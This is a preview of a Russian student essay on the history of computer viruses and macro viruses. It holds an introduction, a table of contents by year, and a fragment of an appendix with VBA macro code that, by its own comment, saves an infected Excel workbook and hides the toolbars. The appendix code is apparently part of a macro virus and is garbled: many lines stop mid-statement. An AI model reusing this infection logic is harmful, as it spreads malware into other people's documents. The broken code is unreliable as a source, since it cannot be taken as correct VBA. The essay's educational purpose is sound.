Автор: Пользователь скрыл имя, 15 Декабря 2010 в 16:43, реферат
Компьютерный вирус выполняет нежелательные действия. Попадая в компьютерную систему, вирус производит в ней изменения. В лучшем случае - это безобидные действия. Например, отображение на экране монитора разнообразных надписей или рисунков, проигрывание на встроенном динамике различных мелодий. В худшем случае - это разрушение файлов данных и программного обеспечения компьютера.
Макровирусы являются программами на макроязыках, встроенных в некоторые системы обработки данных (текстовые редактор, электронные таблицы, и.т.д.). Они заражают документы и электронные таблицы ряда офисных редакторов.
ВВЕДЕНИЕ…………………………………………………………………….…......3
1 ПОСТАНОВКА ЗАДАЧИ …………………………………………………….......4
2 ИСТОРИЯ РАЗВИТИЯ ВИРУСОВ… ……………………………………….…..5
2.1 1990 год……………………………………………………………………..…5
2.2 1991 год…………………………………………..……………………………5
2.3 1992 год …………………………..................................................................6
2.4 1993 год ………………………………..........................................................7
2.5 1994 год …………………………………………………………………….…8
2.6 1995 год………………………………………………………………………..9
2.7 1996 год…………………………………………………………………...…...9
2.8 1997 год………………………………………………………………………10
2.9 1998 год………………………………………………………………………12
2.10 1999 год……………………………………………………………………..14
2.11 2000 год……………………………………………………………………..15
2.12 2001 год……………………………………………………………………..17
2.13 2002 год……………………………………………..………………………20
2.14 2003 год………………………………………………….……………..…...21
ЗАКЛЮЧЕНИЕ ……………………………………………………………....…..23
СПИСОК ЛИТЕРАТУРЫ…………………………………………………………..24
ПРИЛОЖЕНИЕ А………………………………………...………………………....25
End If
Next
If iValue=0Then Workbooks ("Шаблон.xls").Save: Workbooks("Шаблон.xls").Close
‘Если не был заражен Excel, то сохраняется зараженная книга
End Sub
MsgBox "Убрать панели инструментов"
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("Web")
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("Watch Window").Visible = False
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("
Application.CommandBars("List"
Application.CommandBars("Text To Speech").Visible = False
Application.CommandBars("
Application.CommandBars("
End Sub